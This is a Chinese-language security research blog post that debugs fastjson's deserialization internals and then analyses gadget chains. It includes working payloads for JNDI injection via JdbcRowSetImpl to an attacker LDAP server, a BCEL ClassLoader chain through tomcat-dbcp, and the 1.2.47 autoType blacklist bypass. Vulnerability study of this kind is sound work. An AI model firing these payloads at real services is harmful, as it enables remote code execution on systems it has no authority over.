fastjson

本文最后更新于:2 天前

poc

1
{"@type":"java.net.Inet4Address","val":"test.dnslog.com"}

有别于原生ObjectInputStream的反序列化,fastjson的反序列化不依赖于readObject()方法,而是会自动调用类的getter和setter

因此也不需要实现Serializable接口

变量也不受transient的限制

引入依赖:

1
2
3
4
5
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>

基础用法:

1
2
3
String jsonStr = "{\"id\":1,\"name\":\"potato\",\"age\":20}";
User user = JSON.parseObject(jsonStr, User.class);
System.out.println(user);
1
2
3
4
5
6
String jsonStr = "{\"id\":1,\"name\":\"potato\",\"age\":20}";
JSONObject jsonObject = JSON.parseObject(jsonStr);
int id = jsonObject.getIntValue("id");
String name = jsonObject.getString("name");
int age = jsonObject.getIntValue("age");
System.out.println(id + ", " + name + ", " + age);

调试逻辑

UserImpl:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
package com.potato.Entity;

public class UserImpl implements User{
public String name;
private int age;

public UserImpl(){}

public UserImpl(String name, int age){
System.out.println("constructor");
setName(name);
setAge(age);
}

public String getName() {
System.out.println("getName");
return name;
}

public void setName(String name) {
System.out.println("setName");
this.name = name;
}

public int getAge() {
System.out.println("getAge");
return age;
}

public void setAge(int age) {
System.out.println("setAge");
this.age = age;
}

// @Override
// public String toString() {
// return "UserImpl{" +
// "name='" + name + '\'' +
// ", age=" + age +
// '}';
// }
}

调试代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package com.potato;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.potato.Entity.User;
import com.potato.Entity.UserImpl;
import com.sun.rowset.JdbcRowSetImpl;

public class Main {
public static void main(String[] args) {

String s = "{\"@type\":\"com.potato.Entity.UserImpl\",\"name\":\"potato\",\"age\":\"20\"}";

JSONObject test = JSON.parseObject(s);
System.out.println(test.toString());
}
}

在parseObject()行打上断点,跟进调试

多步过一步,发现obj在parse的过程已经变成了UserImpl对象,因此parse()的过程必然存在一个fastjson反序列化

回退一步,跟进parse()

继续跟进

来到了新的一处parse,在136行出现了一个DefaultJSONParser,是用于生成一个默认的解析json字符串的解析器,

其最后一个参数feature是用来指定一些规则,如对于多个逗号的处理,空格的处理等

步过,跟进parser.parse(),反序列化的核心逻辑就在这里面

开头进行了对token进行了检验(大括号,中括号字符等),此处token对应的是一个json字符串,由左大括号开头,因此走到LBRACE

PS:对于token的初始化可以来到defaultJSONparser的构造函数来看

1
JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));

没有传入lexer本身,或者是任何和我们json字符串内容相关的,

断定反序列化还没进行,创建一个空的object用来后续装载生成的JSONObject对象

直接步过,跟进

1
parseObject(object, fieldName)

代码如下用于跳过任意个逗号,不重要

pass

1
2
3
4
5
6
7
if (lexer.isEnabled(Feature.AllowArbitraryCommas)) {
while (ch == ',') {
lexer.next();
lexer.skipWhitespace();
ch = lexer.getCurrent();
}
}

随后定义了一个key变量,用于存放json中的键名

if做判断,当前是双引号变进行操作然后读取两个双引号之间的内容

获取到key之后向下走,来到了对key的判断

这里把代码块收起来方便做一个宏观的分析

如果key的值是@type,即我们当前的情况

走进第一个if代码块

展开分析

来到一处loadClass,跟进看看

首先会从mappings缓存中查找class,找到了就直接返回了

没找到的话先根据className进行类特殊性检验,如[开头就意味着是数组类,则返回Array对象,如果是L开头;结尾的类数组写法,则去掉首位,再调用loadClass(forName支持对数组的类加载loadClass不支持)

(这个地方可以挖个坑先,,)

之后就是简单的调AppClassLoader在本地加载类,加入缓存,返回

继续往下跟,来到这个地方,

出现了我们一开始传入的空的object,

实际上每一轮循环加载完一对key和value就会往object内存入

第一轮尚未结束,没存入任何的东西所以这里还是暂时跳过

下方来到最关键的一部分

是真正开始fastjson反序列化流程的一部分

从config中获取一个反序列化器,紧接着通过这个反序列化器进行反序列化

1
2
ObjectDeserializer deserializer = config.getDeserializer(clazz);
return deserializer.deserialze(this, clazz, fieldName);

直接步过看看这个反序列化器是个什么东西

结果一看,,看上去像是什么临时的东西?

回退跟进看看是啥吧

先从缓存中获取derializer

ps:在ParseConfig的构造函数中将许多内置类put进了缓存中,

但是显然我们这个UserImpl不在,,

继续往下走,跟进getDeserializer()

往下走,来到一处代码块,若在被序列化的类上面使用了@JSONType注解,则会走进这里面的获取反序列化器的逻辑进行操作

等于说是用户自定义了一个反序列化器

关于fastjson的@JSONType注解的内容可以上网搜搜

这里做个小插曲方便理解,不重要

pass

继续往下走,来到了一处黑名单

展开一看,长舒一口气,并不是对一些危险类进行过滤,只是禁了Thread防止线程问题

之后便是一堆的判断,判断类是否为某个包下的然后对应进行处理

一路skip过去,来到了创建JavaBeanDeserializer,顾名思义

应该是生成一个JavaBean的反序列化解析器

而bean的结构正好是getter,setter之类,先提一嘴,方便后续理解

跟进,开头定义了局部变量asmEnable为true

继续往下看,几种情况下asmEnable会变为false

父类标识符为非public

泛型类型参数不为0

(如UserImpl<T,U>的返回结果就是2,UserImpl<T>的返回结果就是1)

class是否使用ExtClassLoader类加载器

这里稍微进isExternal分析一下

while循环一轮过后,current为ASMClassLoader的父类加载器,即AppClassLoader

假如说这里的clazz的类加载器classLoader是ExtClassLoader,为拓展库的类,则会返回true

但是UserImpl显然是应用程序的类,其类加载器也应为AppClassLoader

出来后继续往下走,发现还有一部分的能让asmClassLoader为false的地方

比较简单就不一一列举了

这里有一行JavaBeanInfo.build()方法的调用,

前面分析jndi注入高版本tomcat绕过到ELProcessor内的时候有见到过这个beanInfo,主要就是返回bean的一些属性包括属性名,方法名,getter,setter等

跟进

先获取类的属性,public的方法,构造方法等

判断没有默认构造函数的逻辑,这里我们进不去,pass

328行开始,将for代码块收起来,宏观上分为三部分

第一部分,遍历所有的public方法

第二部分,遍历所有public的属性

第三部分,再次遍历所有的public方法

(实际上第一次遍历是调所有的setter,第二次遍历是调所有的getter)

继续往下走

先进行第一部分的遍历

判断方法名是否小于四

判断方法是否为静态

返回值既不为void也不为UserImpl本身的时候(setter),continue循环

此时由于方法名是getter,于是跳过,查找下一个方法

第二轮来到了getName

作为setter传入一个参数合情合理

将setter对应的property全部字符转小写,Name变为name

往后一直走,通过setter操作遍历完field过后,将结果保存到fieldList

我们来看一下这个FieldInfo

可以留意一下里面的getOnly变量,先埋下伏笔

setter都遍历完之后,开始遍历所有的public字段

对field的遍历过程比较简单,不做详细描述了

快进到getter的遍历,前面的代码逻辑几乎和setter遍历是相似的

往下走,有这样一段代码

只有当getter的返回值满足这个if中的Collection、Map等,才能进入到代码中走到最后的add

也就是说才能被当做一个property被加入到fieldList中

同时需要保证fieldList中不包含

也就是说如果前面setetr将某个字段加入到fieldList后,就不再通过getter加入了

结束了getter的遍历之后来到了最后一行return将前面遍历的字段还有方法之类的封装起来

走出来后,能在beanInfo中看到刚刚封装好的字段

出来之后还有一些情况能让asmEnable变为false

上面多次提到这个asmEnable,所以到底他起到什么作用呢

往下走之后,紧接着就走到一个if判断

如果asmEnable是默认的true的话,那么不会走到new JavaBeanDeserializer,而是会返回一个asmFactory的创建反序列化器的方法

跟进去看看

是不是很眼熟??

这不就是之前长得乱七八糟的那个临时反序列化器吗

请看vcr:

而这个临时创建的类在调试过程中发现根本不清楚这个过程做了什么

调用栈上虽然有,但是点击并没有任何的反应

想要调试我们只能让asmEnable为false,然后new JavaBeanDeserializer来创建一个反序列化器

在上面的伏笔中中,存在通过判断字段是否getOnly来关闭asmEnable

回到上面FieldInfo中的getOnly处,判断方法的参数是否为1(getter为0),如果判断是getter就让getOnly为true(顾名思义getOnly)

因此可以是通过一个对象,与其对应的只有一个getter(如果有setter会优先调用setter而不会调用getter)

但是上面分析过了调用这个getter需要getter的返回值满足那几种类型(Collection、Map等)

修改UserImpl:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package com.potato.Entity;


import com.alibaba.fastjson.annotation.JSONType;

import java.util.Map;

//@JSONType(orders = {"name","age"},ignores = {"age"})
public class UserImpl implements User{
public String name;
private int age;
private Map map;
public UserImpl(){}

public UserImpl(String name, int age){
System.out.println("constructor");
setName(name);
setAge(age);
}

......(其他字段的setter、getter)

public Map getMap(){//只能有getter
return map;
}
}

重新调试,再次来到创建JavaBeanDeserializer的地方,此时asmEnable已经关闭

(折腾了半天实际上就是为了弄一个便于调试的反序列化器,,)

拿到了反序列化器之后继续进行调试,看看反序列化的过程发生了什么

355行之后是对每个字段遍历进行实例化赋值操作

570行,步入createInstance()

跟进来,走到下面有一处对构造函数的实例化,步入

来到了我的无参构造函数

调用完构造函数之后获得object,继续往下走

走到setValue()处,开始给字段赋值了

也是到了最重要的一部分了,跟进去

一路往下走,来到了一处反射,调用setter来完成赋值

步过,控制台输出setName

age的赋值同理,

至此一整个反序列化的流程结束

回退到前面的obj,成功拿到了UserImpl对象

在继续往下走的过程来到toJSON(),会调用getter

调用栈如下,可以自行调试一下(懒得写了)

1
2
3
4
5
6
7
8
9
10
11
12
getAge:32, UserImpl (com.potato.Entity)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
get:451, FieldInfo (com.alibaba.fastjson.util)
getPropertyValue:114, FieldSerializer (com.alibaba.fastjson.serializer)
getFieldValuesMap:439, JavaBeanSerializer (com.alibaba.fastjson.serializer)
toJSON:902, JSON (com.alibaba.fastjson)
toJSON:824, JSON (com.alibaba.fastjson)
parseObject:206, JSON (com.alibaba.fastjson)
main:22, Main (com.potato)

gadget

JdbcRowSetImpl

在connect()方法下存在明显的jndi注入

databaseMetaData的getter处存在调用

在autocommit的setter方法下存在connect()的调用

但是由上面逻辑调试中的分析,想调用getter有两种途径:

1、返回值规定的那些个getter才能被add到fieldList中后续被调用,但是这里的返回值DatabaseMetaData显然不符合要求

2、需要能走到toJSON,而走到toJSON需要保证到你这需要的getter之前的所有getter流程不抛出异常,能正常invoke

但是这里第一个方法就gg了没invoke成功

因此只能走setter

lookup的参数,即jndi注入的地址,是通过一个getter获取的

启动ldap服务,在7000端口挂载恶意类

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package com.potato;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.potato.Entity.User;
import com.potato.Entity.UserImpl;
import com.sun.rowset.JdbcRowSetImpl;

public class Main {
public static void main(String[] args) {

String s = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:10389/cn=qwq,dc=example,dc=com\",\"AutoCommit\":true}";

JSONObject test = JSON.parseObject(s);
System.out.println(test.toString());
}
}

条件:需出网,jdk<8u191

bcel.ClassLoader

定位到利用类

根据ClassLoader的逻辑

1
2
3
4
5
6
7
8
9
10
        ClassLoader classLoader = new ClassLoader();

byte[] bytes = Files.readAllBytes(Paths.get("D:\\tmp\\Test.class"));

String str = Utility.encode(bytes,true);
// System.out.println(str);

str = "$$BCEL$$" + str;

classLoader.loadClass(str).newInstance();

其中encode的原因是跟进了createClass之后

存在decode

继续向上找哪里调用了loadClass

引入依赖

1
2
3
4
5
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>9.0.20</version>
</dependency>

org.apache.tomcat.dbcp.dbcp2.BasicDataSource下

存在forName类加载,

如果让driverClassLoader为前面提到的bcel的classLoader,就能走它的loadClass(),也就能触发漏洞

刚好二者都存在对应的setter,变得可控

继续向上追踪,谁调用了createConnectionFactory()

createDataSource下调用了createConnectionFactory()

两个getter和一个setter下都调用了createDataSource()

正向漏洞代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
        ClassLoader classLoader = new ClassLoader();

byte[] bytes = Files.readAllBytes(Paths.get("D:\\tmp\\Test.class"));

String str = Utility.encode(bytes,true);
// System.out.println(str);

str = "$$BCEL$$" + str;

BasicDataSource basicDataSource = new BasicDataSource();
basicDataSource.setDriverClassName(str);
basicDataSource.setDriverClassLoader(classLoader);
basicDataSource.getLogWriter();

如果用setter:

1
2
3
4
String s = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"LogWriter\":{\"@type\":\"java.io.PrintWriter\"},\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"},\"driverClassName\":\""+str+"\"}";


JSONObject test = JSON.parseObject(s);

直接出现报错:

补充一点:反序列化过程中涉及到的类,都需要有默认的无参构造函数

(对啊他是Bean怎么能没有无参构造函数啊啊啊啊啊)

这里的setLogWriter的参数PrintWriter没有默认构造函数,所以直接寄

这里用getter发现前面刚好没有异常,能被利用

payload

1
2
3
4
String s = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"},\"driverClassName\":\""+str+"\"}";


JSONObject test = JSON.parseObject(s);

fastjson高版本绕过

fastjson<=1.2.47通杀

1
2
3
4
5
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.25</version>
</dependency>

再拿上面的payload跑一下,直接报错

打个断点让我看看怎么个事

调用栈回退一个

发现是在判断key值是否为@type之后做了一个checkAutoType的校验

直接被黑名单拦截下来了

黑名单:

只有通过了黑白名单的校验后才能继续到类加载

白名单默认是空的,所以显然走不到这里的类加载

继续找找别的类加载的地方,往下走

进去看看

是从缓存中的指定类中获取,

若缓存中没有的话,又会继续从反序列化器去找

进来看了下,也是从deserializer缓存中加载类

缓存,,写死了,,,吗(?),等等,先不急着pass,看看能不能控制往缓存中加入我们想要的类

寻找类加载的地方的时候时刻注意autoTypeSupport和expectClass这两个属性

下面还有一处类加载,但是注意到这里的条件是false,进不去

pass

全部的类加载的地方都找到了,总结一下只能看看能不能向缓存中添加一些类来绕过

查找对mapping进行put操作的部分,来到TypeUtil的loadClass()方法

查找loadClass()的用法

checkAutoType()函数中调用,但是受限于if,都走不进去

然后就是MiscCodec中的deserializer()中,当clazz为Class.class的时候,会将strVal放入loadClass中

在deserializer()方法中,说明这东西和反序列化有关,

注意点MiscCodec实现了ObjectSerializer和ObjectDeserializer接口,所以这玩意本质上是一个序列化器反序列化器

上文提到过反序列化器是从config中获取到的

这个config我们上文几乎分析过了,走进去底层实际上是在deserializer缓存里找class对应的键值对

如果我们反序列化的类是Class,那么就会调用MiscCodec的反序列化器

在反序列化的时候走到deserializer()中就会调用MiscCodec的loadClass(),然后就会把我们传入的字符串传给loadClass()

1
2
3
String s = "{{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:8085/JYIIDwoM\",\"AutoCommit\":true}}";

JSONObject test = JSON.parseObject(s);

再次走到这里的时候,已经成功将恶意类加载进mapping了

题外话:

实际使用fastjson1.2.47走到checkAutoType的时候会发现和1.2.25是不一样的

原先的denyLists黑名单变成了一个哈希表,主打的就是一个防止安全人员研究这玩意来进行绕过,,

但是在这个版本还是没防住通过向mappings添加类名来达到类加载的绕过

已破解开的黑名单哈希如下:https://github.com/LeadroyaL/fastjson-blacklist

fastjson=1.2.68

//TODO

1.2.48之后,fastjson在MiscCodec.deserializer()中触发TypeUtils.loadClass()的地方加入了一个cache参数

然后在loadClass下加入了一个对cache的判断,只有cache为true才能向mappings中put一个新的类

fastjson=1.2.80

//TODO